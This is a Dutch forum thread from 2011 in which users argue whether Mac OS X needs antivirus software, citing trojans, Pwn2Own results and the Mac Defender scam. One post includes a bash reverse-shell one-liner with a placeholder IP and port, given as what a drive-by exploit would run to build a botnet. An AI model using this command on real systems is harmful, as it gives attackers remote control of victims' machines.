Virus Scanner voor Mac

[Verwijderd]

Ik draai ook geen antivirus op mijn mac. Doe wel heel voorzichtig met de software die ik installeer, en doe niet aan codecs voor porno. Lang leve Perian...

Heb overigens nog nooit last gehad van iets waarvan ik dacht dat het een virus/trojan zou zijn op mijn Mac.

Windows had ik dat wel, omdat ik daar regelmatig last had van aanvallen.

[Verwijderd]

Verwijderd schreef op maandag 11 april 2011 @ 15:44:
[…]


Dat ze niet bestaan is natuurlijk onzin. Al is het maar dat ik er zelf een aantal heb geschreven. Dat ze niet in grote schaal voorkomen is iets anders natuurlijk.

Dan is het tijd dat je dat de wereld eens gaat laten zien, ik vrees dat je het niet over een virus hebt.
Maar goed ik kan met je meegaan dat het (trojan/virus) dezelfde pot nat is, nog steeds gaat het nergens over; dmg downloaden van dubieuze site, je admin password geven. Zo ken ik er ook wel een paar.

[DivxLover]

code:

11-04-2011 11:03:42 Kernel access control   file    /Users/Username/Downloads/Filename  multiple threats    deleted username    Event occurred during an attempt to access the file by the application: /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mdworker.

Ik voel me volkomen veilig op m'n Mac, maar ben niet blind.......

En als ik het dan al niet doe omdat wat er ooit aan rottigheid voorbij komt op m'n Mac in 99,95% van de gevallen zooi is die alleen een Windows PC kan besmetten en niet mijn Mac, dan lever ik juist toch een bijdrage aan het iets schoner houden van de online wereld.

[Underworld]

Verwijderd schreef op maandag 11 april 2011 @ 16:50:
[...]

Dan is het tijd dat je dat de wereld eens gaat laten zien, ik vrees dat je het niet over een virus hebt.
Maar goed ik kan met je meegaan dat het (trojan/virus) dezelfde pot nat is, nog steeds gaat het nergens over; dmg downloaden van dubieuze site, je admin password geven. Zo ken ik er ook wel een paar.

Inderdaad...

The Great HooD schreef op maandag 11 april 2011 @ 15:42:
Gescand en je raadt het al, no virus. Ik ben het wel eens hoor met het feit dat het allemaal wel zwaar wordt opgeblazen. De consument is sowieso al een target wat niet echt de moeite waard is. Als bedrijf is het logisch dat ze goede beviliging hebben. Ik ben gewoon nog steeds van mening dat het echt overrated is die virusscanners.

het is niet overrated het is gewoon puur bangmakerij, en zorgen dat consumenten antivirus programma's gaan kopen.

Roman schreef op maandag 11 april 2011 @ 12:38:
^^ idd... is toch niet voor niets dat Apple bij Pwn2Own altijd het makkelijkst te hakken is.

OSX zit ook vol met gaten, sommige zijn ontdekt en sommige (nog) niet. Alleen er zijn gewoon minder die er tot heden gebruik van maken.

Wikipedia: Pwn2Own


[...]

Ohja waar staat dat dan?
So what,.. ik gebruik Chrome En Firefox...

Day 3
No teams showed up for day three. Chrome and Firefox were not hacked.

Daarbij heb ik van de mensen die pro-virusscanner zijn, nog geen bron gezien die laat zien dat een Mac zo vervuilt is dat een herinstallatie nodig was, überhaupt vervuilt ofhet disfunctioneren van het systeem...
Sorry maar ik vind jullie praatjes echt 'hoge bomen' ... Het zal me ook niets verbazen als deze personen zelf voor een bedrijf werken die antivirus-spyware verkopen aan klanten.

[ Voor 17% gewijzigd door Underworld op 11-04-2011 18:39 ]

[Verwijderd]

De aanvalsvector van dmg downloaden, installeren, vragen om een admin password is trouwens helemaal nog niet zo'n gekke hoor. Neem als voorbeeld de Unreal IRCD en ProFTPD backdoor van vorig jaar. Deze waren dan wel gericht tegen Linux ipv OS X, maar het gebeurt wel degelijk. AcidBitchez (blackhat hackers groep) had de server van deze pakketten gehacked en een gebackdoorde versie geupload. SourceForge is enkele maanden geleden ook gehackt. Ze hadden hierbij in principe elk pakket kunnen backdooren.

Nogmaals: niemand hier zegt dat de kans op een besmetting groot is, of dat je een virusscanner moet kopen of dat er momenteel veel OS X virussen 'in the wild' voorkomen. We proberen alleen maar aan te geven dat een virus meer schade kan aanrichten dan een stukke installatie, en dat je hem op meer manier kunt oplopen dan duistere sites bezoeken.

[Darkstar]

Underworld schreef op maandag 11 april 2011 @ 18:30:
[...]

Inderdaad...


[...]


het is niet overrated het is gewoon puur bangmakerij, en zorgen dat consumenten antivirus programma's gaan kopen.

[...]

Ohja waar staat dat dan?
So what,.. ik gebruik Chrome En Firefox...

Day 3
No teams showed up for day three. Chrome and Firefox were not hacked.

Daarbij heb ik van de mensen die pro-virusscanner zijn, nog geen bron gezien die laat zien dat een Mac zo vervuilt is dat een herinstallatie nodig was, überhaupt vervuilt ofhet disfunctioneren van het systeem...
Sorry maar ik vind jullie praatjes echt 'hoge bomen' ... Het zal me ook niets verbazen als deze personen zelf voor een bedrijf werken die antivirus-spyware verkopen aan klanten.

Gast, hou gewoon op. Je weet niet waar je over praat en je reageert niet op posts waar ik je op je fouten wijs.

Dat op Pwn2Own meestal Safari-leaks misbruikt worden wil niet zeggen dat je compleet veilig bent omdat Chrome of Firefox gebruikt wordt. In sommige gevallen is het genoeg dat de software geïnstalleerd is het om lek te misbruiken, de user hoeft de software daarvoor nog niet eens te gebruiken.

Neen, ik werk niet voor een bedrijf dat antivirus verkoopt, verre van zelfs. Echt, wtf dude

[ Voor 12% gewijzigd door Darkstar op 11-04-2011 18:45 ]

[Underworld]

@Kamose
Dan nog, kom je nog steeds niet met echt voorbeelden maar puur met speculatieve teksten. Wij moeten hier jouw 'kennis' maar aannemen dat het zo is terwijl je niet eens met bronnen komt waarbij je het laat zien. (buiten die van eerder genoemde van Sophos, van andere posters etcetera)

Ik kan hier toch ook met mijn kennis neer zetten dat virussen voor de mac geen schade aan richten.
"ik ben al 30 jaar hacker van beroep. En test bedrijven die Mac OS X gebruiken. Ik vind bij elk bedrijf wel gaten in de beveiliging" (Het is uiteraard niet zo, maar zie je hoe makkelijk dat te zeggen is, zonder bron/bewijs?)

@Darkstar, ik heb alleen niet op één post van je gereageerd omdat ik hem speculatief vond, op al je andere posts heb ik gereageerd.
Hoezo moet ik ophouden, omdat jij je zin niet krijgt? Het enige waar ik om vraag is specifieke voorbeelden waarbij een Mac niet meer te gebruiken is en er gevaar is. Het is dat ik de virussen/trojans voor mac niet kan vinden anders zou ik ze zo voor de gein installeren en voor een maand laten draaien op mijn systeem en kijken wat er gebeurt als onderzoek, wat virussen/trojans voor de mac kunnen aanrichten.

[ Voor 30% gewijzigd door Underworld op 11-04-2011 18:52 ]

[Verwijderd]

je kan je mening ook geven zonder mensen meteen voor dom uit te maken. Dergelijke posts zorgen er hooguit voor dat je zelf als niet bijster intelligent overkomt namelijk.

[ Voor 80% gewijzigd door Whieee op 13-04-2011 12:37 ]

[Darkstar]

Underworld schreef op maandag 11 april 2011 @ 18:44:
@Kamose
Dan nog, kom je nog steeds niet met echt voorbeelden maar puur met speculatieve teksten. Wij moeten hier jouw 'kennis' maar aannemen dat het zo is terwijl je niet eens met bronnen komt waarbij je het laat zien. (buiten die van eerder genoemde van Sophos, van andere posters etcetera)

Ik kan hier toch ook met mijn kennis neer zetten dat virussen voor de mac geen schade aan richten.
"ik ben al 30 jaar hacker van beroep. En test bedrijven die Mac OS X gebruiken. Ik vind bij elk bedrijf wel gaten in de beveiliging" (Het is uiteraard niet zo, maar zie je hoe makkelijk dat te zeggen is, zonder bron/bewijs?)

@Darkstar, ik heb alleen niet op één post van je gereageerd omdat ik hem speculatief vond, op al je andere posts heb ik gereageerd.
Hoezo moet ik ophouden, omdat jij je zin niet krijgt? Het enige waar ik om vraag is specifieke voorbeelden waarbij een Mac niet meer te gebruiken is en er gevaar is. Het is dat ik de virussen/trojans voor mac niet kan vinden anders zou ik ze zo voor de gein installeren en voor een maand laten draaien op mijn systeem en kijken wat er gebeurt als onderzoek, wat virussen/trojans voor de mac kunnen aanrichten.

Nee, niet omdat ik geen gelijk zou krijgen, maar wel omdat je steeds met standpunten en argumenten komt opdraven die gewoon niet juist zijn. We tonen aan dat er trojans bestaan => 'Ja, maar die heb ik nog nooit gezien'. We geven aan dat een bewezen lek (op Pwn2Own) een zeker risico inhoudt om malware op je Mac te krijgen => 'Kan niet want IK gebruik Chrome en Firefox'.

Ik heb de indruk dat je pas gaat geloven dat er virussen bestaan als ik je persoonlijk een compleet geïnfecteerde Mac laat zien. Zo simpel is het niet en dat weet je zelf ook. Er is niemand die in dit topic beweerd dat je zo makkelijk en zo snel een virus te pakken hebt. Het punt is dat modale gebruikers die weinig kennis van zaken hebben wél een zeker risico hebben om rotzooi op hun Mac te krijgen. De kans is klein, maar daarom niet onbestaand en dat is nu net hetgeen wat we al de hele tijd proberen duidelijk te maken.

Ik zeg ook niet dat plots iedereen met een Mac een antivirus moet gaan draaien. Maar als je al weet dat er virussen bestaan en niet je kop in het zand steekt ben je al erg ver om nooit voor een onaangename verrassing te komen staan.

Verwijderd schreef op maandag 11 april 2011 @ 18:56:
Gewoon simpel weg dom dat je scanner gaat nemen voor OS X doe eens normaal je bent al bang voor Proof Of Concept? neem dan geen linux er zijn daar ook al 2 VIRUSSEN voor Proof Of Concept!!...

Gewoon dom maarja je kan als je zo bang bent iAntvirus nemen....

Het gaat niet om Proof on concept virussen, als je zelfs al de laatste pagina had gelezen had je dat geweten...
En niemand spreekt van bang, ik draai op dit moment zelf geen antivirus op mijn Mac. Maar dat is het punt niet, alleen lijkt iedereen daar over te lezen...

[ Voor 4% gewijzigd door Darkstar op 11-04-2011 19:04 ]

[Underworld]

Darkstar schreef op maandag 11 april 2011 @ 19:02:
[...]


Nee, niet omdat ik geen gelijk zou krijgen, maar wel omdat je steeds met standpunten en argumenten komt opdraven die gewoon niet juist zijn. We tonen aan dat er trojans bestaan => 'Ja, maar die heb ik nog nooit gezien'. We geven aan dat een bewezen lek (op Pwn2Own) een zeker risico inhoudt om malware op je Mac te krijgen => 'Kan niet want IK gebruik Chrome en Firefox'.

Ik heb de indruk dat je pas gaat geloven dat er virussen bestaan als ik je persoonlijk een compleet geïnfecteerde Mac laat zien. Zo simpel is het niet en dat weet je zelf ook. Er is niemand die in dit topic beweerd dat je zo makkelijk en zo snel een virus te pakken hebt. Het punt is dat modale gebruikers die weinig kennis van zaken hebben wél een zeker risico hebben om rotzooi op hun Mac te krijgen. De kans is klein, maar daarom niet onbestaand en dat is nu net hetgeen wat we al de hele tijd proberen duidelijk te maken.

Ik zeg ook niet dat plots iedereen met een Mac een antivirus moet gaan draaien. Maar als je al weet dat er virussen bestaan en niet je kop in het zand steekt ben je al erg ver om nooit voor een onaangename verrassing te komen staan.

Duidelijker...

Alleen ben ik het niet met je laatste alinea eens maar dat terzijde.
Veronderstelling dat er inderdaad een sort off i Love You virus voor de Mac zou komen in 2015.
Het is gewoon een feit dat mensen denken, (ja weer een oud spreekwoord i know..) Als het kalf verdronken is, dempt men de put... Zo zal het hoogstwaarschijnlijk ook gaan met de Mac. En dat is dan gewoon (mijn) eigen schuld dikke bult.

[Mini Poeper]

De discussie gaat wel de eenzijdige kant op. Al zijn er geen noemenswaardige Mac virussen, die voor Windows zijn die er wel. Het is niet netjes om als Mac user onwetend een virus door te mailen naar een Windows gebruiker.

Kun je wel denken: 'Boeiûh, zijn probleem.'
Zo werkt dat niet altijd in het leven. Je slaat wel een flater als je een bevestiging van order stuurt naar een klant en er ook nog als dank een virus bij stopt. Of dat de mail wordt tegengehouden door diens scanner en de mail dus niet wordt gelezen.


Wanneer doet een virusscanner zijn werk?
Van de week kreeg mijn vriendin een mail over Facebook in haar Outlook (Windows).
Raar, wij hebben beide geen Facebook. Dus mail geopend en toen wat tekst over password.
In de bijlage was een .zip bestand bijgevoegd. Ik heb de mail maar weggegooid.
Verder geen melding van Kaspersky gezien. Wanneer was deze melding gaan maken, als ik het .zip bestand had proberen te openen?

[magnifor]

Verwijderd schreef op maandag 11 april 2011 @ 18:56:
Gewoon simpel weg dom dat je scanner gaat nemen voor OS X doe eens normaal je bent al bang voor Proof Of Concept? neem dan geen linux er zijn daar ook al 2 VIRUSSEN voor Proof Of Concept!!...

Gewoon dom maarja je kan als je zo bang bent iAntvirus nemen....

Vroeg of laat zal er een virus uitbraak komen op de Mac, dan zal de impact groter zijn dan bij Windows gebruikers omdat veel Mac gebruikers geen antivirus gebruiken.

Mac wordt met de dag populairder en commercieel gezien wordt het daarom steeds interessanter voor malware/virus bakkers om serieuze virussen te ontwikkelen.

Tijdje terug kwam in het nieuws dat een illegale versie van iWorks al troep bevatte. Je moest wel een wachtwoord invoeren maar dat moet sowieso als je iWorks wilt installeren.

Dus wie zegt dat bij een illegale versie van Office 2011 geen virus mee wordt geïnstalleerd? Je moet sowieso je wachtwoord opgeven om het pakket te installeren, dus op die manier kan je virussen verbergen. De zwakste schakel is en blijft de gebruiker.

Dat er nu geen echte virussen zijn op de Mac wil niet zeggen dat het zo blijft. Als een anti-virus niet te veel geheugen in beslag neemt en verder je syteem niet of nauwelijks vertraagt dan zie ik geen reden om het niet te installeren. Voorkomen is beter dan genezen.

[ Voor 10% gewijzigd door magnifor op 13-04-2011 10:15 ]

[Meulugar]

Verwijderd schreef op maandag 11 april 2011 @ 09:48:
[...]

Antwoord is dus nee: "in the wild".

Virussen voor OSX bestaan niet, punt. Alleen proof of concepts, de rest is malware/scareware/trojans.
Loop anders eens door de wildlist, je komt er geen 1 tegen in 10 jaar tijd.

Punt is dat het OS iets anders in elkaar zit dan bijvoorbeeld Windows, waardoor toegang krijgen tot je volledige filesysteem een ander verhaal word. Het heeft ook niets te maken met wel of niet populariteit van OSX, OSX is namelijk populair. Het marktaandeel MB/MBA is behoorlijk te noemen.

Dat je op je hoede bent ala, de rest is bangmakerij.

ik citeer

Amper een maand na de aanval op beveiligingsbedrijf RSA, hebben aanvallers weer een lek Adobe Flash Player gebruikt om bij meerdere organisaties in te breken. Bij de aanval op RSA verstopten de aanvallers een kwaadaardig Flash-bestand in een Excel spreadsheet. Dit lek is inmiddels gepatcht.

De nieuwste aanval bestaat uit een Word document met daarin een Flash-bestand. Zodra het slachtoffer het bestand opent, wordt het ingebedde Flash-bestand uitgevoerd en kan de aanvaller volledige controle over het systeem krijgen. Volgens Adobe zijn er nog geen aanvallen aangetroffen waarbij het Flash-bestand in een PDF-bestand was verstopt. Daarnaast zou de beveiliging in Adobe Reader X de aanval stoppen.

Update
De kwetsbaarheid is aanwezig in Flash Player 10.2.153.1 en eerder op Windows, Mac OS X, Linux en Solaris. Ook Adobe Reader en Acrobat X lopen risico, hoewel de Protected Mode in de nieuwste versie van de PDF-lezer het uitvoeren van de exploit stopt. Een patch voor Flash Player is bijna gereed.

Aangezien Adobe Reader X-gebruikers geen risico lopen, verschijnt de update hiervoor op 14 juni, tijdens de geplande patchcyclus. Adobe Flash is op 99% van alle computersystemen ter wereld aanwezig.

bron http://security.nl/artike...tig_Flash_Player-lek.html

er moet eens gestopt worden met het keihard ontkennen dat er geen malware of andere meuk is voor mac osx. Ok, osx zit inderdaad aardig dicht getimmerd maar applicaties als office for mac, flash, adobe meuk etc.. zijn wel kwetsbaar.

Maar als je gewoon een beetje surft. Weinig externe software installeerd en regelmatig update verklein je de kans al flink. Als je daarnaast ook nog eens oplet met welke addons je in de browser installeerd dan zit je aardig save. Zelf heb ik toch even sophos geinstalleerd. Het is gratis. Weinig performance verlies en baat het niet dan schaad het niet.

[ Voor 7% gewijzigd door Meulugar op 13-04-2011 12:52 ]

[Roman]

Probeer maar iemand die beweert dat er geen schadelijk software bestaat voor de mac, uit te leggen dat die er wel is. Kun je net zo goed tegen een muur praten.

Ok er zijn er veel en veel minder dan voor Windows, maar ze zijn er wel.

b.v. hier: http://www.iantivirus.com/threats/

En dan heb je natuurlijk die die beweren OSX is anders opgebouwd waardoor je geen schadelijke software kan krijgen. En dat is ook al meerdere keren bewezen dat het wel kan, wel dan vaak met gemene trucjes waar gebruikers hun wachtwoord moeten geven.

[Whieee]

Ik stel voor dat we het weer over de virusscanners gaan hebben in plaats van dit topic te laten ontsporen tot een zinloze discussie omdat iemand toevallig even gaat trollen. Do not feed the troll

[Lrrr]

Ik weet niet of hij al genoemd is, maar VirusBarrier Express is gratiesch. De premium updates kosten geld, maar je hebt ook gewoon gratis updates (albeit minder). Downloaden doe je in de Mac App Store. Nadeel: je hebt een irritant venster als hij je geplande scan uitvoert, dat je niet kan wegklikken. Alleen minimaliseren.

[Verwijderd]

Meulugar schreef op woensdag 13 april 2011 @ 12:33:
[...]
ik citeer

ik citeer:

Virussen voor OSX bestaan niet, punt. Alleen proof of concepts, de rest is malware/scareware/trojans.

Misschien eerst even lezen voordat je gaat steigeren.

Roman schreef op woensdag 13 april 2011 @ 12:55:
Probeer maar iemand die beweert dat er geen schadelijk software bestaat voor de mac, uit te leggen dat die er wel is. Kun je net zo goed tegen een muur praten.

Ok er zijn er veel en veel minder dan voor Windows, maar ze zijn er wel.

b.v. hier: http://www.iantivirus.com/threats/
.

Ik denk dat dat muurpraten wel meevalt.

Misschien voor de goede orde: er zijn geen virussen voor OSX; alleen malware/trojans, precies zoals je eigen aangehaalde linkje haarfijn laat zien. Alles op basis van trickery.

[ Voor 49% gewijzigd door Verwijderd op 14-04-2011 00:47 ]

[Kvasirdor]

Verwijderd schreef op donderdag 14 april 2011 @ 00:44:
[...]


ik citeer:

[...]

Misschien eerst even lezen voordat je gaat steigeren.


[...]

Ik denk dat dat muurpraten wel meevalt.

Misschien voor de goede orde: er zijn geen virussen voor OSX; alleen malware/trojans, precies zoals je eigen aangehaalde linkje haarfijn laat zien. Alles op basis van trickery.

"
By John E Dunn | Techworld | Published: 15:11, 16 February 06
Apple’s Mac OS X software has been hit by a mischievous instant messaging virus – the first ever to target the platform.

The virus, dubbed Leap-A by anti-virus company Sophos, is said to spread using Apple’s iChat IM service, forwarding itself as a file called “latestpics.tgz” to an infected user’s buddy contacts."

En nu jij weer. Achterlijk gemekker of er nou wel of geen virusen, trojans of wat dan ook voor OSX zijn. Topic ging over virusscanners.

[Verwijderd]

kenshinsx schreef op donderdag 14 april 2011 @ 00:59:
En nu jij weer. Achterlijk gemekker of er nou wel of geen virusen, trojans of wat dan ook voor OSX zijn. Topic ging over virusscanners.

nog maar een keertje dan: alles op basis van trickery.

Neem een virusscanner als je er veiliger bij voelt. Ik voel er niks voor.

[Verwijderd]

kenshinsx schreef op donderdag 14 april 2011 @ 00:59:
[...]


En nu jij weer. Achterlijk gemekker

Je quote uit deze link uit 2006(!) --> http://news.techworld.com...st-os-x-virus-hits-apple/
Is trouwens ook een trojan en geen virus en geen bewijs voor een OSX virus "in the wild"

Lees onderstaande link een door..
http://forums.macrumors.c...php?p=9400648&postcount=4

Quote:
According to noted computer virus expert Paul Ducklin, in order for a virus to be considered in the wild, "it must be spreading as a result of normal day-to-day operations on and between the computers of unsuspecting users." This definition excludes "proof of concept" code that is used in a testing situation under strictly controlled conditions, and which poses zero threat to average computer users.

[Roman]

De proof on concept laat wel zien dat het mogelijk is (denk maar aan het macarena virus). Nu nog maar wachten totdat er iemand een virus maakt en op de wereld loslaat dat zich dan via mail of iChat verspreid. (wie gebruikt eigenlijk iChat???). Ik hoop dat het nooit zal komen, maar je weet maar nooit. (zal wat zijn een virus dat via de Live messenger voor mac verspreid gaat worden).

En wat verder betreft dat virus v.s. trojan verhaal, ik wil beide niet op mijn machines hebben. Ook wil ik geen wormen, spyware, malware of andere ongewenste programma's.

[Wolfos]

Mijn antivirus heet common-sense, heb ik 18 jaar geleden van mijn moeder gekregen. Tuurlijk is het mogelijk om een virus voor OS-X te maken, maar ik heb er nog nooit een gehad. Zolang je maar geen shady torrents gaat lopen downloaden zit je over het algemeen goed.

Ik heb wel een antivirus uit geprobeerd, maar die nam altijd 80% CPU in beslag en daardoor werd de MacBook veel te heet.

[ Voor 19% gewijzigd door Wolfos op 20-04-2011 11:49 ]

[Verwijderd]

Kijk en daar heb je iemand die tenminste zaken in perspectief neerzet met een gedegen antwoord.

[Meulugar]

Verwijderd schreef op donderdag 14 april 2011 @ 02:37:
[...]

nog maar een keertje dan: alles op basis van trickery.

Neem een virusscanner als je er veiliger bij voelt. Ik voel er niks voor.

Wij verschillen denk ik van mening wat een virus definitie is. feit is dat een beetje virusscanner tegenwoordig ook piept bij trojans, scareware, malware en andere zooi. Dus het nut van een virusscanner is mijn inziens wel degelijk van toepassing op OSX

[Dreamvoid]

Mensen lijken hier te vergeten dat op OS X stilletjes al een simpele virusscanner draait op de achtergrond, XProtect. Uiteraard beweert Sophos dat XProtect niet zo goed is, en dat je hun eigen scanner moet kopen.

[ Voor 34% gewijzigd door Dreamvoid op 20-04-2011 16:06 ]

[Roman]

Dreamvoid schreef op woensdag 20 april 2011 @ 16:01:
Mensen lijken hier te vergeten dat op OS X stilletjes al een simpele virusscanner draait op de achtergrond, XProtect. Uiteraard beweert Sophos dat XProtect niet zo goed is, en dat je hun eigen scanner moet kopen downloaden.

-there... i fixed it-

Ik zelf draai idd sophos. Maar dan ook meer omdat ik redelijk wat download op mijn mac, ook voor windows machines en dan vin ik het handig om voordat ik iets naar een van mijn windows bakken verplaats dat het gescanned is.

Ben nog geen OSX threat tegen gekomen (en dan bedoel ik uiteraard ook spyware, malware, trojans en al die andere zooi die je niet wilt hebben).

But i am prepared!

Uiteraard heb ik hem zo ingesteld dat die alleen de download folder en de mail scanned. En uiteraard software die draait, o.a. voor het internet verkeer e.d.

[magnifor]

Twee ontwikkelingen binnen een korte tijd:

nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X

magnifor in 'nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X'

Langzaam maar zeker zit het er echt aan te komen.

[ Voor 39% gewijzigd door magnifor op 03-05-2011 15:25 ]

[World Citizen]

magnifor schreef op dinsdag 03 mei 2011 @ 15:24:
Twee ontwikkelingen binnen een korte tijd:

nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X

magnifor in 'nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X'

Langzaam maar zeker zit het er echt aan te komen.

Het is toch zo (zover ik kan vinden) dat je deze virussen actief uit moet voeren. danwel via een installer, danwel via het accepteren van een melding. Het kan nooit niet uitgevoerd worden zonder jouw toestemming.
Ik vind dat maar een half virus... aangezien het probleem dan bij de gebruiker zit.

[magnifor]

Decon Frost schreef op dinsdag 03 mei 2011 @ 16:35:
[...]


Het is toch zo (zover ik kan vinden) dat je deze virussen actief uit moet voeren. danwel via een installer, danwel via het accepteren van een melding. Het kan nooit niet uitgevoerd worden zonder jouw toestemming.
Ik vind dat maar een half virus... aangezien het probleem dan bij de gebruiker zit.

Klopt helemaal, ook bij deze scam is de gebruiker de zwakste schakel. Punt is dat veel onervaren gebruikers hier in kunnen trappen en daardoor toestemming geven om de boel te installeren. Vergeet niet dat 9 van de 10 OS X installers je username en password vragen. Dus dat de installer van deze scam om een username en password vraagt is geen merkwaardig verschijnsel.

[Digistorm]

magnifor schreef op dinsdag 03 mei 2011 @ 16:41:
[...]


Klopt helemaal, ook bij deze scam is de gebruiker de zwakste schakel. Punt is dat veel onervaren gebruikers hier in kunnen trappen en daardoor toestemming geven om de boel te installeren. Vergeet niet dat 9 van de 10 OS X installers je username en password vragen. Dus dat de installer van deze scam om een username en password vraagt is geen merkwaardig verschijnsel.

Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

[Verwijderd]

Digistorm schreef op woensdag 04 mei 2011 @ 16:51:
[...]

Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

Het is natuurlijk niet zo dat je dan opeens een installatie scherm voor je krijgt. Ook is het echt niet zo dat je altijd je wachtwoord op moet geven. Ze verkrijgen gewoon code executie door een lek in je browser/flash player etc. Op dat moment kunnen ze code uitvoeren met dezelfde rechten als jou. Het feit dat ze met die installers om een wachtwoord vragen is omdat de meeste mensen dat toch wel geven, en ze hiermee gewoon meer rechten op je systeem hebben (de kernel aanpassen bijvoorbeeld). Dit is echter geen noodzaak.

Een voorbeeld is bijvoorbeeld: http://security.nl/artike..._OS_X_via_Safari-lek.html. Zet zo'n exploit op een populair bezochte site die iedereen vertrouwd (bijvoorbeeld die van de nobel prijs: http://blog.trendmicro.com/firefox-zero-day-found-in-compromised-nobel-peace-prize-website/) en laat hem vervolgens het volgende uitvoeren:

exec 5<>/dev/tcp/<ip>/<port>; cat <&5 | while read line; do $line 2>&5 >&5; done

En je hebt je eigen botnetje.

[magnifor]

Digistorm schreef op woensdag 04 mei 2011 @ 16:51:
[...]

Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

Maar het gevaar is dus dat Mac Defender voordoet als legitieme software. Het hoeft niet automatisch gedownload en gestart te worden. Omdat mensen gaan denken dat het veilig is zullen ze het ZELF downloaden en ZELF uitvoeren. Automatisatie is in dit geval niet nodig.

Het feit dat ze met die installers om een wachtwoord vragen is omdat de meeste mensen dat toch wel geven, en ze hiermee gewoon meer rechten op je systeem hebben (de kernel aanpassen bijvoorbeeld). Dit is echter geen noodzaak.

Op de Mac wordt er 9 van de 10 keer om een username en password gevraagd als je een applicatie moet installeren via een installer. Dus het is geen merkwaardig verschijnsel maar iets wat vaak voorkomt. Daar zit ook het gevaar denk ik.

[ Voor 22% gewijzigd door magnifor op 04-05-2011 17:39 ]

[Dreamvoid]

Digistorm schreef op woensdag 04 mei 2011 @ 16:51:
[...]

Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

Helemaal niet, hoe vaak niet krijg je van Software Update niet een popup voor je neus die zegt dat je een Apple update moet downloaden, en die vervolgens om je password vraagt? Jij weet misschien wel dat het echte Software Update venstertje er niet zo uitziet als een standaard script venster, de gemiddelde gebruiker niet. Dat was een groot risico (zelfs al was het allemaal "by design"), en Apple heeft daarom al een tijdje terug gefixed (in de update van Safari 3 naar 4) dat .dmg's niet meer automounted worden en het .mpkg install script automatisch gestart wordt. Eind goed al goed.

De mogelijkheid om via browser/email/ssh exploits de boel ongemerkt te hacken is nou eenmaal mogelijk op alle platformen die aan internet hangen, daar valt niet veel aan te doen behalve updaten en jezelf gelukkig prijzen dat dit behoorlijk veel skills van de hacker vergt. Er zijn makkelijker manieren om bots te creeeren (social engineering dus).

[Digistorm]

Dreamvoid schreef op maandag 09 mei 2011 @ 01:08:
[...]

Helemaal niet, hoe vaak niet krijg je van Software Update niet een popup voor je neus die zegt dat je een Apple update moet downloaden, en die vervolgens om je password vraagt? Jij weet misschien wel dat het echte Software Update venstertje er niet zo uitziet als een standaard script venster, de gemiddelde gebruiker niet. Dat was een groot risico (zelfs al was het allemaal "by design"), en Apple heeft daarom al een tijdje terug gefixed (in de update van Safari 3 naar 4) dat .dmg's niet meer automounted worden en het .mpkg install script automatisch gestart wordt. Eind goed al goed.

De mogelijkheid om via browser/email/ssh exploits de boel ongemerkt te hacken is nou eenmaal mogelijk op alle platformen die aan internet hangen, daar valt niet veel aan te doen behalve updaten en jezelf gelukkig prijzen dat dit behoorlijk veel skills van de hacker vergt. Er zijn makkelijker manieren om bots te creeeren (social engineering dus).

Hm ja, maar wat is dan nog de toegevoegde waarde van een virusscanner? Een user-scanner zou zinvoller zijn.
Als een side-note: ik heb een "incompatible user" in een paar uur een computer zien verzieken, en denk maar niet dat de virusscanner een strobreed in de weg zat. Ze checken alles wat je doet, wat je computer sloom maakt, maar al die "heuristische intelligentie" is een hoop marketing als je het mij vraagt. En als een virusscanner om de haverklap waarschuwt gaan gebruikers volgens mij net zo hard op yes en ok klikken. Dus, tja...

[Roman]

Een AppleCare medewerker zegt dat het erger word.

http://www.zdnet.com/blog...are-is-getting-worse/3342

http://nakedsecurity.soph...are-to-help-you-remove-it

En dan de mooiste zin van het verhaal:

EB: What sort of advice do you leave customers with after you’ve helped them with this issue?

AC: That even though they’re using a Mac, they need antivirus/antimalware. We give them links to Norton. McAfee, and Sophos.

[ Voor 35% gewijzigd door Roman op 20-05-2011 09:44 ]

[Wootism]

Verwijderd schreef op donderdag 12 augustus 2010 @ 13:35:
[...]

Ikzelf surf standaard met de no-script extensie voor Firefox. Verder gebruik ik geen Safari. Ik draai een outbound firewall (Little Snitch) die ik strict heb ingesteld. Verder draai ik een inbound firewall (gewoon ipfw). Ik draai applicaties in een sandbox (zit standaard in os x). Als laatste heb ik met behulp van PGP me gehele hardeschijf geencrypt. Oja en firewire gedisabled om DMA aanvallen te voorkomen.

Hahaha, hebben ze je lekker bang gemaakt op die conferenties van je?
Echt te belachelijk voor woorden dit...
(oh een post uit 2010, stormloop topic dit )

[ Voor 3% gewijzigd door Wootism op 29-05-2011 13:37 ]

[Underworld]

Interessant artikel:
http://computerworld.nl/a...-serieuze-vormen-aan.html

